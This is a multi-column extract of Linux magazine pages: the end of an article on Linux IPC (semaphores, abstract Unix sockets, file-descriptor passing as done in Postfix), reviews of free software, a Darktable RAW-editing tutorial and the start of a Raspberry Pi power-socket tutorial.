lock (number 0) and write lock (1). semop()       alternative. Switch to a terminal window, and        see it in a moment). You can also check that
takes semaphore id and struct sembuf[]            do ls /run/dbus. On my system, this yields:          the program really creates /tmp/coretech,
array describing operations to perform; its       total 0                                              and that this special file is left when it exits.
third argument is the array size. This first      srw-rw-rw- 1 root root 0 Mar 7 17:04 system_bus_     Didn’t I say that cleaning after yourself is a
member of struct sembuf, sem_num, refers          socket                                               good habit? Anyway, it’s an inconvenience,
to semaphore number (zero-based). The               There is a single file, and the s character in     so Linux provides abstract Unix sockets.
next one, sem_op, is basically counter            permissions stands for “special”. It’s a Unix        These exist purely in memory and don’t
increment (or decrement, if it’s negative), or    domain socket designed especially for local,         leave any traces in the filesystem. To make a



68                                                             www.linuxvoice.com
                                                                                                                      CORETECHNOLOGY

Unix socket abstract, just set its first byte to   macros designed to quickly decode and
NUL value (\0), like this:                         traverse what’s in the control messages                  Further reading
#define SOCKET_NAME             “@/tmp/coretech”   buffer.                                                  Advanced Programming in the UNIX Environment
...                                                   Moving the file descriptor to another                 is not the only resource available. The system
strncpy(server.sun_path, SOCKET_NAME, sizeof       process is a simple way to offload a job, like           calls and library functions we mention here have
server.sun_path);                                  handling an incoming connection. It’s                    dedicated man pages. Moreover, IPC issues are
                                                                                                            covered well in the “miscellaneous” (seventh)
server.sun_path[0] = ‘\0’;                         actually quite common in Linux, as fork()
                                                                                                            section of man. There is a chapter dedicated to
  Do rm /tmp/coretech, and run the                 preserves open file descriptors. With Unix               Unix sockets (man 7 unix) and the newer POSIX
program again. You’ll see numbers flowing,         sockets, however, you can hand out a file                semaphore API (man 7 sem_overview). Ancillary
as before, but there will be no socket file.       descriptor to a completely unrelated                     messages are covered in man 3 cmsg. It’s rare
Abstract socket names are just string              process, as long as it is willing to accept it.          to have overview-style man pages, but these are
                                                                                                            lucky exceptions.
identifiers, and could look however you               Take a popular mailserver, Postfix, as an
want. Following the filesystem path model is       example. It needs to cut spambots quickly
a common convention, however. The @                without incurring significant additional costs            fd is the Unix socket descriptor, and
prefix is also chosen arbitrarily, as we           to legitimate clients. To facilitate this, the         sendfd is the file descriptor that Postfix
overwrite it with NUL at the last line.            Postfix server usually runs the postscreen             wants to pass. The CMSG_SPACE() macro
  To list abstract sockets on your system,         process, which examines incoming                       returns the number of bytes required for an
use netstat:                                       connections and hands them off to real                 ancillary message with a given payload size.
$ netstat -nx                                      SMTP processes if they pass security                   struct cmsghdr describes the control
...                                                checks. All of this happens transparently for          message and is often combined with a
unix 3 [ ]     STREAM CONNECTED 17104 /            the connecting user, and he shouldn’t notice           buffer for proper alignment. struct msghdr
run/dbus/system_bus_socket                         the servicing process change.                          wraps one or more control messages and is
unix 3 [ ]     STREAM CONNECTED 20463                 Postfix is a large and complex program,             a type that sendmsg() and recvmsg()
@/tmp/dbus-OQLzhYGMTI                              but the code to pass file descriptors is quite         operate on. Usually, you manipulate it with
unix 2 [ ]     DGRAM       42977 @/tmp/            simple. You can find it in src/util/unix_send_         CMSG_*() macros: CMSG_FIRSTHDR(),
coretech                                           fd.c and src/util/unix_recv_fd.c,                      which returns a pointer to the first message,
...                                                respectively. Below is a cut-down simplified           and CMSG_NEXTHDR(), which advances to
  Everything that starts with @ is an              version of the unix_send_fd() function:                the next one.
abstract socket. Note that this displays           int unix_send_fd(int fd, int sendfd)                      Here, a single message of type SCM_
non-abstract Unix sockets as well.                 {                                                      RIGHTS is created. It indicates to Linux that
                                                     struct msghdr msg;                                   the payload is an array of file descriptors,
Offloading work                                      union {                                              although unix_send_fd() sends only one
Sockets, regardless of their type, are just                  struct cmsghdr just_for_alignment;           descriptor at time. The cmsg_len field
means to convey data. However, Unix                          char control[CMSG_SPACE(sizeof(sendfd))];    contains data length, including necessary
sockets are a bit more capable. As they              } control_un;                                        alignment, and again we use the helper
work only locally, they can be sure that both        struct cmsghdr *cmptr;                               macro, CMSG_LEN(), to do the math for us.
connecting sides are Unix processes. This            memset((void *) &msg, 0, sizeof(msg));               Finally, we get a pointer to a data buffer with
means they are able to pass more complex             msg.msg_control = control_un.control;                CMSG_DATA() and copy sendfd (single int
objects than just raw bytes.                         msg.msg_controllen = sizeof(control_un.control);     value) there. Later, sendmsg() sends data in
  Currently, these objects could be Unix             cmptr = CMSG_FIRSTHDR(&msg);                         msg, and another process receives it with
credentials (which we won’t discuss) or file         cmptr->cmsg_len = CMSG_LEN(sizeof(sendfd));          recvmsg(). From this point, both processes
descriptors. In either case, they are sent and       cmptr->cmsg_level = SOL_SOCKET;                      can use file descriptors in msg to refer to the
received as “ancillary” (or control) messages.       cmptr->cmsg_type = SCM_RIGHTS;                       same resource, albeit fd values can be
These messages are not part of the data              *(int *) CMSG_DATA(cmptr) = sendfd;                  different.
payload, and you use sendmsg() and                   ...                                                     Real unix_send_fd() and unix_recv_fd()
recvmsg() functions to send and receive              if (sendmsg(fd, &msg, 0) >= 0)                       functions in Postfix are a bit more elaborate
them as predefined C structures. Messages                       return (0);                               as they account for differences in Unix
may come in batches, so there is a set of          }                                                      variants, but hopefully you’ve got the idea.




Command of the month: ipcs, ipmk and ipcrm
This issue, we speak about IPC primitives. So      to. If you call it as root, you’ll get everything in   a requested resource, and prints its ID. You
it’s quite natural to declare command of the       the system. If you run it now, you’ll probably         can set options like shared memory
month the one to work with them.                   see a decent list of memory segments and a             segment size or number of semaphores, and
    Actually, it’s not one command but three,      few semaphores. These IPC mechanisms                   optionally, permissions. When you decide
coming as a part of the util-linux package.        are used extensively on all Linux systems. If          you do not need a resource, use iprcm to
ipcs lists message queues, shared memory           you feel this is not enough, you can create            remove it. Both keys and IDs (as returned by
segments and semaphores you have access            new primitives with ipcmk. This tool creates           ipcmk) are accepted.



                                                                www.linuxvoice.com                                                                         69
     FOSSPICKS




FOSSpicks                                                                                              Sparkling gems and new
                                                                                                       releases from the world of
                                                                                                       Free and Open Source Software

              Hunting snarks is for amateurs – Ben Everard spends his time in
              the long grass, stalking the hottest, free-est Linux software around.
Web browser


Vivaldi
T
          here’s a new project trying       optimising their software. In our
          to muscle into the already        tests, we found that currently,
          crowded world of web              Firefox (the fastest of the popular
browsers by appealing to power              browsers) was 36% faster than
users. Vivaldi is a new browser built       Vivaldi in the Sunspider test. Given
using the Blink rendering engine            that this is still a technical preview
from Chrome, the Node.js back end,          we’re looking at, we can’t really fault
and the React.js rendering engine.          Vivaldi for not yet being the fastest,
   When you start Vivaldi, the most         but the Vivaldi team have their work
obvious thing about the browser is          cut out if they’re to catch up with
that it’s clearly been designed to          the others. This is especially true
look good with Windows 8, so                since the browser is built on
doesn’t really fit in with any Linux        JavaScript, which – while it is far       The overall aesthetic won’t fit in with most Linux desktop themes,
desktop. There are big colourful            faster than it used to be –it isn’t the   but it does have a certain modernity that will appeal to some.
areas with sharp corners rather             swiftest language.
than the smooth lines of the other             As well as speed, Vivaldi is aiming                                bits of text and a screenshot linked
popular browsers. Another slightly          for power-user features. The                                          to a website. Currently you’re
unusual aspect of the design is that        biggest of these are notes and tab                                    limited to one screenshot per note,
the colour scheme of the browser            stacks. Both of these will benefit                                    which seems a little arbitrary and
changes to try and fit in with the          people who do a lot of research on                                    limits the usefulness of the feature.
currently displayed page.                   the web. Notes enable you to store                                    Tab stacks is the ability to bring
   One of the goals of the Vivaldi                                                                                tabs together to form two layers of
project is to be the fastest web
browser on the planet. This seems
                                            “One of the goals of the Vivaldi                                      tabs. In theory, it’s a good way of
                                                                                                                  de-cluttering your tab bar, especially
an ambitious goal given how much            project is to be the fastest web                                      if you’re the sort of person that has
time and effort the other browser
development teams have spent on
                                            browser on the planet.”                                               too many tabs open for them all to
                                                                                                                  fit on the screen at once. In
                                                                                                                  practice, we found it fiddly to use.
                                                                                                                      We like the ideas behind Vivaldi,
                                                                                                                  particularly the notes. If you’re a
                                                                                                                  web power user, it’s worth checking
                                                                                                                  out. However, unless it can also
                                                                                                                  deliver on its aim to be the fastest
                                                                                                                  browser, they could be better
                                                                                                                  delivered through browser
                                                                                                                  extensions or addons than by a
                                                                                                                  whole new browser.
                                                                                                                      If it can deliver on its promises,
                                                                                                                  Vivaldi will pose a serious challenge
                                                                                                                  to the established players, but it
                                                                                                                  still has a long way to go.

                                                                                                                   PROJECT WEBSITE
The ability to make notes is our favourite feature in the current version, as it
                                                                                                                   www.vivaldi.com
makes research on the web much more pleasant than just using bookmarks.


70                                                                www.linuxvoice.com
                                                                                                                                FOSSPICKS


Image editor


Pixelitor 3
P
          ixelitor supports all the usual
          things you’d expect to find in
          an image editor. You can
draw, add layers and crop, but by far
the best feature is the range of
filters it comes with.
    If you’re looking for a tool to
touch up your photographs, you’ll
probably be better off with a proper
photography tool such as Fotoxx
(which we look at later in
FOSSPicks). Pixelitor filters are
better at manipulating images
(which could be photos) in more
creative ways. Take a look at the
two images we’ve created. They
both started with the same image
of monkey, but the end results are
very different.
    Most of the filters interact with
the current image, but some of              The endangered Zanzibar red colobus monkey lives only on the island of Unguja on the Zanzibar
them create new images – these              archipelago, and is a surprisingly tolerant and patient subject for photography.
are the ones under the Render
sub-menu. With these you can                architecture, so you either have to                                terminology of image manipulation,
create wood, clouds, plasma and             make do with the effects that come                                 this may not be the best tool to
other types of images. These can            with the software, or dive straight                                start with. However, the software is
go in different layers to the main          into the main codebase to add new                                  clearly laid out and the dialogs are
image, and this enables you to              ones. Fortunately, there are quite a                               easy to use, so despite the lack of
create new backgrounds to present           lot (over 80) by default, but if you                               help files, it’s fairly straightforward
an image on.                                have esoteric needs, you may need                                  to get started if you’re broadly
    We found Pixelitor a great              to use some other software.                                        familiar with the area.
alternative to Gimp when we just               There isn’t any documentation,                                     Pixelitor needs Java 8, which isn’t
wanted to play around with a few            so if you’re not familiar with the                                 installed in all distributions by
effects. Pixelitor makes this quicker                                                                          default. The fact that it runs on
and easier, but it doesn’t have the
depth of features that the venerable
                                            “Pixelitor is a great alternative to                               Java does mean that Pixelitor is
                                                                                                               easy to install. Just download the
old program has. Pixelitor also             Gimp when you just want to play                                    file from the project website, and
doesn’t make it easy to add new
effects, as there’s no plugin
                                            around with a few effects.”                                        run it with:
                                                                                                               java -jar pixelitor_3.0.0.jar
                                                                                                                  This should work on just about
                                                                                                               any OS (Linux-based or not) that
                                                                                                               has Java 8 installed. This has the
                                                                                                               added advantage of meaning you
                                                                                                               can use it as a portable application.
                                                                                                               Just keep the JAR file on a USB
                                                                                                               stick, and you should be able to run
                                                                                                               it on any computer you need to use
                                                                                                               (again, provided it has Java), which
                                                                                                               is great because you never know
                                                                                    The kaleidoscope effect
                                                                                                               when you need to add a little
                                                                                    is one of the more
                                                                                    creative options, and      creativity to an image.
                                                                                    the end result is far
                                                                                                                PROJECT WEBSITE
                                                                                    removed from the initial
                                                                                                                http://pixelitor.sourceforge.net
                                                                                    image.



                                                                www.linuxvoice.com                                                                 71
     FOSSPICKS


Filesystem explorer


Eagle Mode
H
         ave you ever wondered                The only ground in this virtual
         what it would be like if your     world is the files. These aren’t
         filesystem were a                 divided up, but as you descend
landscape and you were an eagle            towards them, the amount of detail
flying above it able to swoop down         grows until you realise that you can
for a closer look at any area? No?         view the contents of the file,
Well you should! That’s what Eagle         whether it’s an image, text or data.
                                                                                     Eagle Mode: the most fun you can have with a file manager. But
Mode does, and it’s a quirky, if not          There’s a menu bar with options
                                                                                     why didn’t Gandalf just summon the eagles in the first place?
always useful, alternative to              for all the usual file manager
traditional file managers.                 commands, so you can use it for all
   You begin by soaring above your         your normal admin duties should                                      stuttering. Control is via the mouse,
filesystem, only able to see your          you wish, but it’s probably better                                   and it’s perfectly intuitive. You use
root folder (there are also some           suited to filesystem exploration and                                 the scroll wheel to move down or
applications scattered around the          idle curiosity than any serious work.                                up, and click and drag to move
edge of this folder that you can              The graphics are rendered in                                      around. There’s a user guide next to
drop down to). As you descend, you         OpenGL, so provided you have a                                       the filesystem that you can
can make out more and more                 powerful enough computer (it’s not                                   descend into if you want a little
detail. What first appeared as a           very demanding), everything runs                                     more guidance on how to use it, but
single rectangle for the root folder,      smoothly, and we didn’t notice and                                   really the best way to enjoy Eagle
you now see is sub-divided into                                                                                 Mode is to dive in and see what you
sections for its contents. If you                                                                               can see. Now fly and be free!
descend into any one of these, you         “Eagle Mode is a quirky alternative
see that they too are divided up into
their contents.
                                           to traditional file managers.”                                        PROJECT WEBSITE
                                                                                                                 http://eaglemode.sourceforge.net




Letters animator


Durdraw
Y
         ears ago, before Gnome,           images that no amount of realism
         before KDE and before even        will ever be able to match.
         Linux itself, if you needed an       Durdraw is a project to breathe life
image on your computer, you made           into static ASCII art by helping the
it out of text. Carefully placed letters   artist animate the picture. This is
(in a monospaced font of course)           done by editing the file frame by
can make up images of almost any           frame and having a playback
complexity. These images of text           function so you can watch your
spawned their own art form called          creations in glorious technicolour.
ASCII art. They were distributed on           Durdraw is a Python script, so
bulletin boards around the world           there’s no need for any complicated
                                                                                     Animate like it’s 1989!
long before Tim Berners Lee had            installation; just download the Zip                                    Once you’ve created your work,
even heard the word hypertext, let         file from GitHub and run it. There                                   you can save it in Durdraw’s DUR
alone thought of building a                are a few examples to get you                                        format. However, this is only
world-spanning web of it.                  started, and you can also view                                       playable by people with Durdraw
   ASCII art may not be as popular         these on the project website                                         installed. For the rest of the world,
as it once was, but even with 4K           without installing to get a better                                   you can export as an animated GIF.
monitors and high-performance 3D           idea of the possibilities.                                           That might take away some of the
accelerators, it’s not dead yet. For                                                                            magic, but it’s far more compatible
true aficionados, these                                                                                         with other software.
technologies just mean that you            “Durdraw is a project to breathe
can render fonts better. There’s
some character in these low-fi
                                           life into static ASCII art.”                                          PROJECT WEBSITE
                                                                                                                 http://cmang.org/durdraw




72                                                               www.linuxvoice.com
                                                                                                                             FOSSPICKS


Information organiser


TreeLine
R
           emember when we were          except instead of directories and
           promised paperless offices?   files, it has nodes that can hold
           We can’t say what yours is    formatted information).
like, but Linux Voice Towers is             The example given in the
awash with notes hastily scribbled       documentation highlights this well:
down, and all manner of paper-           it stores information about a set of
based communications. If anything,       books. The first (or root) node just
it feels like each new year brings       says that it’s a collection of books.
more paper-based notes, not fewer.       Inside this there are nodes for
    TreeLine is a hard to categorise,    books you’ve read and unread
but broadly speaking its aim is to       books. Inside these are nodes for
reduce the number of notes you           each author, and inside these are
                                                                                 Is the paperless office
have written down by providing           nodes for each book.                                               data types so that they fit with the
                                                                                 finally here? Probably
another way of storing information          Nodes have a type, and each type     not, but TreeLine is       information you want to store.
digitally that is intuitive for some     corresponds to a particular set of      another way of helping        Getting TreeLine to work well for
forms of data. Its basic purpose is      information. For example a book         yourself remember          you depends on finding a good
information organisation, but that       could have a title, publication date,   things.                    hierarchy and a good set of data
makes it sound a bit like a database     rating, outline and other                                          types. If you do this, you can quickly
or a spreadsheet (it’s nothing like      information. You can create custom                                 have an easy-to-use information
these). It’s based on the idea that                                                                         store, and maybe you’ll end up with
information is fundamentally                                                                                a bit less paper on your desk.
hierarchical, and stores data in the     “TreeLine’s basic purpose is
form of a tree (this is the same
structure as the Linux filesystem,
                                         information organisation.”                                          PROJECT WEBSITE
                                                                                                             http://treeline.bellz.org




Text Editor



Nano
D
          evelopment happens slowly         Nano is hugely popular for a few
          with stable products, and      reasons, but perhaps most
          version 2.4 of the Nano text   importantly, it’s available in just
editor has just come out four years      about every Linux system installed
after the 2.3 release. The new           in the last decade. This means that
release – named ‘lizf’ – brings one      if you’re working on a server that
major update: the new undo               you don’t have install permissions
system. This should make editing a       on, you can almost guarantee that
little less error prone for ham-fisted   Nano will be there.
typers (like those of us at Linux                                                Other text editors may have more features, but Nano is always
Voice). Undo is done with Meta+U,        Simples                                 available, and that’s just as important.
and works just as it does on most        It’s also easy to use, and all the
other editors. This alone is enough      important shortcuts are displayed                                  of choice for many Linux users. It’s
to convince us that the update is        on screen, so you don’t have to                                    usually the terminal-based text
worth it, and now we’re wondering        remember anything. This is useful                                  editor of choice for anyone who
how we managed to use Nano for           for people who only use command                                    doesn’t use Vim as their main
so long without this feature.            line text-editors infrequently and                                 editor. The new version is unlikely to
    As well as this, there are a bunch   don’t want to have to remember                                     convince any Vim users to switch
of smaller improvements, such as a       huge numbers of arcane keystrokes                                  over, but it’s nice to see it still
new linter system and syntax             to perform basic tasks.                                            getting updates after all this time.
highlighting, and of course, the new         While it doesn’t have a huge rage
version also brings in a host of                                                                             PROJECT WEBSITE
                                         of features, the simplicity and
                                                                                                             www.nano-editor.org
bugfixes.                                ubiquity of Nano makes it the editor



                                                             www.linuxvoice.com                                                                  73
     FOSSPICKS


Session detacher


Abduco
A
        bduco is a tool that enables        To rejoin a running session use:
        you to run programs               abduco -a <session name>
        separately from the                   There are a few more options
terminal that spawned them. In its        (take a look at the README file for
simplest usage, you create a new          more details), but that’s most of the
session by using the -c flag and          functionality. Abduco is a bit like a
specifying a name for the new             really stripped-down version of
session, and the application you          Tmux or Screen. This means that it’s      In a pinch, you can use a session detacher like Abduco (or Tmux or
want to run with:                         easy to pair it up with other             Screen) to run a server, but you should use your distro’s server
abduco -c <session name> <application     software to build your own                tools (init or systemd) if you plan to use the server for a long time.
name>                                     customised terminal multiplexer. If
   You can create as many sessions        you leave the application name                                         together in different ways. This
as you like provided you give each        blank when starting a new session,                                     provides far more flexibility than an
of them a distinct session name.          Abduco will try to launch DVTM (a                                      all-in-one solution.
   To detach from the session (but        tiling window manager for the                                             When you pair Abduco with
leave the software running), hit          terminal), and create a system                                         DVTM, you get a powerful terminal
Ctrl+\. One of the biggest                that’s quite similar to Tmux.                                          multiplexer. However, by using them
advantages of this is that, when          However, you could pair it up with                                     separately, you can have just the
connecting to a remote computer           other bits of software, or tie it                                      features you want, and not have to
over SSH or similar protocol, if you                                                                             bog your system down with
log off the remote computer, the                                                                                 unnecessary bloat.
detached session will continue to         “Abduco is like a really stripped-
run rather than terminating all the
running software from that session.
                                          down version of Tmux or Screen.”                                        PROJECT WEBSITE
                                                                                                                  www.brain-dump.org/projects/abduco




Image organiser


Fotoxx
W
              e’ve called Fotoxx an       through all depths. Some of the
              image organiser, but it’s   more artistic photographers may
              actually far more than      feel that this is a step too far in the
this. It’s an all-round photography       world of image manipulation, but
tool. It can manage your images           we just like pretty pictures.
and perform a wide variety of                If you’ve got a large number of
manipulations on them. Most of            images that need adjusting in the
these manipulations are of the            same way, the batch-processing
                                                                                    As well as managing photos, we’ve been using Fotoxx to keep
‘digital darkroom’ type designed to       options in Fotoxx can save a lot of
                                                                                    track of our huge collection of screenshots.
improve the quality of your pictures,     time, though it is quite limited.
for example, such as adjusting            Experienced command line users
contrast, brightness, or warping.         may prefer CLI tools such as                                               The software may lack detailed
   Some of the manipulations go           ImageMagick instead.                                                   documentation, but the examples
beyond traditional darkroom                                                                                      on the website should be enough to
processing, such as making high           Gentlemen take polaroids                                               get most people started. They
dynamic range images. This takes          Fotoxx may struggle with high-end                                      highlight the different features, and
a set of images of the same scene         use, but it’s capable enough for                                       it’s not too difficult to work out how
with differing brightness levels and      most amateur photographers. It                                         to perform the actions in the
combine them together so that the         can read almost every image type                                       software if you’re fairly familiar with
whole scene is correctly lit. A similar   (including RAW), so should have no                                     image tools.
manipulation can be done with             problem dealing with existing
                                                                                                                  PROJECT WEBSITE
images with different focal points to     image libraries from just about any
                                                                                                                  www.kornelix.com/fotoxx.html
make an image that is sharp               camera.



74                                                               www.linuxvoice.com
                                                                                                                       FOSSPICKS


  FOSSPICKS Brain Relaxers
https://launchpad.net/pybik/
 Puzzle game


 KNetWalk
 N
           etwalk is a game in         becomes a challenge to find routes
           which you have a grid of    to the servers that don’t cut off
           network components.         routes to other servers
 These components could be               There are quite a few different
 cables, computers or servers.         versions. We’ve looked at KNetWalk,
 They connect in different ways,       but there’s also a version included
 and you can rotate the squares in     with Eagle Mode (reviewed earlier in
 the grid. The aim of the game is      FOSSpicks), and there’s a web-
                                                                                Pro tip: if you ever
 to connect all the computers to       based version at www.                                               If you’re struggling to advance
                                                                                create a real network
 the server using all the cables.      logicgamesonline.com/netwalk.            that looks like this,    to the more difficult stages, there
   It’s a simple idea, but it can be                                            you’ve done something    are some tips in the help files.
 quite challenging – kind of like      Bite-size challenge                      wrong.                   Once you’ve worked out the best
 how a computer game based on          There are a range of difficulties,                                technique, you should be able to
 the problem of untangling cables      which are determined by the size of                               conquer most levels in a few
 should be. Each part of the           the board, and the game is scored                                 minutes. This makes KNetWalk
 solution can, in some way, affect     by time. The quicker you can solve                                perfect for filling a few minutes
 any other part. On smaller            large boards, the better a player you                             while you’re waiting for
 boards, it’s usually quite            are. In KNetWalk, the grid cables can                             something to download.
 straightforward to see how the        connect between opposite sides of
 servers have to be linked.            the board if you’re playing on very                                PROJECT WEBSITE
 However as the boards get bigger      hard mode, though this isn’t                                       https://games.kde.org/game.
                                                                                                          php?game=knetwalk
 and hold more servers, it             possible in all versions.




 First-person shooter



 Xonotic
 B
          roadly speaking, the aim     where you can pit your skills
          of a first-person shooter    against the best players in a battle
          game is to run around        to the death.
 and kill people. In Xonotic, this        Xonotic is a fork of Nexuiz, which
 involves using futuristic weapons,    was an open source game, but
 and plenty of jumping to get          went commercial. However, the
 around the levels.                    commercial version has been
   Xonotic has most of the usual       discontinued and the server’s taken
 FPS gameplay options, including       offline. The spirit of Nexuiz lives on   Linux gaming isn’t all   open source FPS game, despite
 capture the flag and death match,     in Xonotic.                              about steam: there are   which it should play well on
 and has single-player (against AI        Xonotic is based on the               plenty of great open     computers with even quite
 opponents), and multi-player          DarkPlaces engine, which is itself       source games, as         modest 3D capabilities.
 options. The best games are to        based on the Quake engine. This          Xonotic proves.             The new version includes new
 be found in the networked             long heritage produces a game that                                sounds, new maps, a tidier user
 multiplayer version. Xonotic is       is visually impressive. In fact, it is                            interface, and many more minor
 popular enough that there are         – to our eyes – the best looking                                  improvements. If you already
 always games going on that you                                                                          have the older version, it’s well
 can join in and start fragging                                                                          worth upgrading.
 people around the world. If you       “Xonotic is a fork – the spirit of
 fancy yourself as a true Xonotic
 warrior, there are tournaments
                                       Nexuiz lives on in Xonotic.”                                       PROJECT WEBSITE
                                                                                                          http://xonotic.org




                                                            www.linuxvoice.com                                                                 75
                                                                                                                              TUTORIALS INTRO




                                                  TUTORIALS
                                                  Dip your toe into a pool full of Linux knowledge with eight
                                                  tutorials lovingly crafted to expand your Linux consciousness


                                                   In this issue…
                                                      78                                     80                                  84



Ben Everard
Is designing the home of the future, with Linux
at its heart.

                                                   Digital darkroom Control sockets                                           Gnuplot

W
              ith some exceptions, Linux           Instead of waking up at                With a Raspberry Pi, an             Andrew Conway shows
              follows the Unix style of            5am to photograph in                   expansion card and some             you how to make graphs
              operating. This means that           perfect light, Graham                  Python, Les Pounder takes           without leaving the
the system is controlled through the               Morrison just tweaks his               control of his sockets, and         command line. Bash can be
shell using command line utilities that            pictures. You can too.                 reveals his secrets.                beautiful!
can be joined together in scripts. It’s a
method that’s incredibly powerful,
which is why it’s still the most popular
                                                      88                                     92                                  96
method of managing servers 40 years
after Unix began.
    Forty years is a long time in
computing, and computers are very
different than they were when the Unix
way was first conceived. The scale of
data centres, the volume of processing
and complexity of the software stacks
                                                   Lyx and Latex                          Puppet                              Hide encryption
are all far greater than even seemed               Creating good-looking                  Keep all your servers               Jake Margason keeps his
possible in the 1970s. The old way of              documents needn’t be hard              running the right version           valuable encrypted data
computing still works, but it’s showing            work. Valentine Sinitsyn               of the right software. Jon          hidden out of the sight of
signs of age.                                      Introduces a graphical                 Archer shows you how to             any digital intruders, and
    There are a whole host of new                  Latex editor.                          make your puppets dance.            you should too.
technologies promising to change the
world – Systemd, BTRFS and
containers to name but a few. The full             PROGRAMMING
potential of these, both good and bad, is
not yet realised, and won’t be for some            ALGOL                                  Pointers                            ASM
time yet.                                           100 ALGOL was originally              104 C gives you a high degree of    106     Operating systems are
    Not all change is positive, but some                   designed to be the universal         control over your hardware.           complicated pieces of
                                                   computing language, but it never       However, in return, you have to     software that take expert
is. It’s time for us as a community to
                                                   really took off. Despite its demise,   handle the low-level details that   programmers years to write; or at
really start to heavily evaluate the               it’s an important language,            many languages cover up.            least, that’s what some people will
options, and decide which way we want              because it was in ALGOL that           Pointers are possibly the most      have you believe. In part four of
our OS to go. There are plenty of people           many concepts fundamental to           confusing of these. They’re         the ASM tutorial, you can go from
trying to push new solutions on us, and            programming today first came to        variables about variables, so to    scratch to your own booting OS in
                                                   light. ALGOL may be dead, but its      speak. Master them now or be        just a few hours. Look out Linus
it’s up to us to decide what to take.
                                                   memory lives on.                       forever confused.                   – we’re coming for you!
ben@linuxvoice.com



                                                                    www.linuxvoice.com                                                                          77
        TUTORIAL DARKTABLE



                                PROCESS RAW IMAGES WITH
            TUTORIAL
                                DARKTABLE
                                Many cameras and even smartphones support raw images.
GRAHAM MORRISON
                                Here’s why RAW is awesome for fixing a lack of skill.


                                T
                                         he photos we take don’t always come out as
   WHY DO THIS?
                                         perfectly as we’d wish. With portrait shots, this
   • Make all your photos
                                         is usually down to the location of the subject:
     beautiful…
                                they may be sitting in front of a bright window, for
   • … without destroying the
     original images            example, or in a dark room. These situations result in
                                overexposure and underexposure in a digital image
                                – data is either clipped by the brightness or
                                unresolved by the darkness. Fortunately, the RAW
                                image formatted supported by many cameras can
                                save the day. These files contain the raw sensor data
                                from your camera, and this data is typically pre-
                                rasterisation into a format like JPEG and recorded at
                                the full data depth of your sensor.                          All you need is a little software to help you work with RAW.


                                    Step by step: Fix exposure in your RAW images
                                1
                                    Install a RAW image editor                               2
                                                                                                 Import your images
                                There are a couple of excellent applications for             With that minor configuration out of the way, it’s time
                                processing raw images in Linux – one is called               to play with the application itself. If you’ve used
                                RawTherapee, while the other is called Darktable. Both       Adobe’s Lightroom or Aftershot Pro, it will feel familiar.
                                RawTherapee and Darktable are capable applications,          The main view is known as a ‘light table’, the virtual
                                but we’ve gone with Darktable for this tutorial. It should   equivalent to where an old fashioned photographer
                                be easily installed and launched (we’re using version        would lay their negatives for further selection and
                                1.6.4). The only modification we needed to make was          processing. RAW files are the digital equivalent to
                                to change the default font size for the user interface.      these negatives, and to start, you’ll need to add a
                                There’s no configuration tool within Darktable itself, so    folder containing your RAW files (and/or your JPEG
                                you need to copy the folder /usr/share/darktable to          files). This can be accomplished from the drop-down
                                .config in your home directory and edit darktable.           menu in the top-right of the main window.
                                gtkrc in a text editor. Look for the font_name property         Most cameras will store both JPEG and RAW
                                and increase the font size in the double quotes that         versions, both of which will display linked with a yellow
                                follow. You could also change the font itself if you         box when you hover your mouse over one. The
                                prefer something different. We changed the size from         formats are also shown on the background of the
                                8 to 14, but the best value will depend on your screen.      thumbnail image. Double-click one of your RAW
                                                                                             images (ours are from a Canon camera and have the
                                                                                             CR2 extension), for further editing.




   78                                                            www.linuxvoice.com
                                                                                                              DARKTABLE TUTORIAL

3
    Explore the user interface                                  4
                                                                    Lens adaption and noise reduction
We’re now in ‘dark table’ mode, which is supposedly             Now it’s time to make a few edits. The first thing we
the virtual equivalent to a photographer’s darkroom.            usually do is change the lens profile for the photo.
This is where we can make all the adjustments we                This flattens the curve from the lens and equalises the
need. As with any other of the views, you can use Alt           light and exposure to compensate. This module is
and the scroll wheel to change the zoom factor of the           listed beneath the correction group, and your camera
image or thumbnails. Each process that you can                  and lens will need to be listed for the process to work.
apply to your image is implemented as a module, and             RAW images can also contain quite a bit of noise, and
you see these modules grouped into sections on the              the best reduction we’ve found is via the module
right. The tiny power symbol buttons next to modules            called ‘denoise(non-local mean)’, which needs to be
are used to activate and deactivate them.                       added from the ‘more modules’ list first.
   A module is listed in the first group when it’s                 When the module is enabled, use the patch size and
enabled, beneath the other tiny power button symbol.            strength parameters to edit the amount of reduction
Under- and overexposure areas can be highlighted by             and switch the module on and off to check its effect.
clicking on the tiny diagonal button in the bottom-right,       Hot pixels is another fixing module useful when
and you can add many more modules to your palette               removing specular highlights, such as a bright and
using the ‘More Modules’ menu in the same corner.               small reflection on an edge or screen.




5
    Exposure settings                                           6
                                                                    Exporting the image
Enable the ‘exposure’ module in the basic group and             Darktable is a non-destructive editor, which means it
for underexposed images ramp up both the exposure               doesn’t change the original photo when you make
and the black to brighten the image without reducing            your edits. That’s why you can roll back through them
the contrast. You can bring unseen detail out of an             using the history list. To export an edited image, you
image with the ‘shadows and highlights’ module.                 need to go back to the light table view that displays
Increasing the highlights slider will increase the              the thumbnails of your images. It’s a bit unintuitive at
brightness of whiter elements within an image, and              first, but you need to use the newly listed modules on
you can use the tiny button labelled ‘multiple instance’        the right to save your images. Use the ‘select’ module
to duplicate each module so you can work on different           to make sure you’ve chosen the image(s) you need,
thresholds within the same image. For easier                    then open the ‘export selected’ module. You can
comparison with pre-edit versions, use the                      choose a file format, quality settings and profiles (we
‘snaptshots’ feature on the left in combination with the        use JPEG at 100%) as well as changing the save
history. This will split the view into a ‘before’ and ‘after’   location. Click on export to make it happen and wait a
image so you can see what effect you’re having on the           few moments. You’ll be informed when the image has
final image.                                                    been rendered and saved to your chosen location.




                                                                    www.linuxvoice.com                                             79
     TUTORIAL EDUCATION



                              BEING GREEN WITH YOUR
           TUTORIAL
                              RASPBERRY PI AND PYTHON
                              Being green is never easy, but perhaps a Raspberry Pi can help us
   LES POUNDER
                              cut down on our carbon emissions and save the polar bears.


                              E
                                      lectricity is something that we take for granted:
 WHY DO THIS?
                                      we just turn it on and off, and only really think
 • This is a great cross-             about how much we're using when the bill
   curricular exercise for
   schools                    arrives. In this tutorial we will use a device called
 • Learn Python               Energenie to wirelessly connect our Raspberry Pi to a
 • Learn to use the           wall socket and control devices attached to it. We will
   Energenie wireless         conduct three projects to interface with the Energenie.
   socket controller            Project 1 Mobile phone charging station
 • Learn a little Minecraft     Project 2 Minecraft user interface
   hacking
                                Project 3 Remote control switch
 • Build a GUI in Python
                                Each of the projects can be completed in a one-
 • Learn to work with
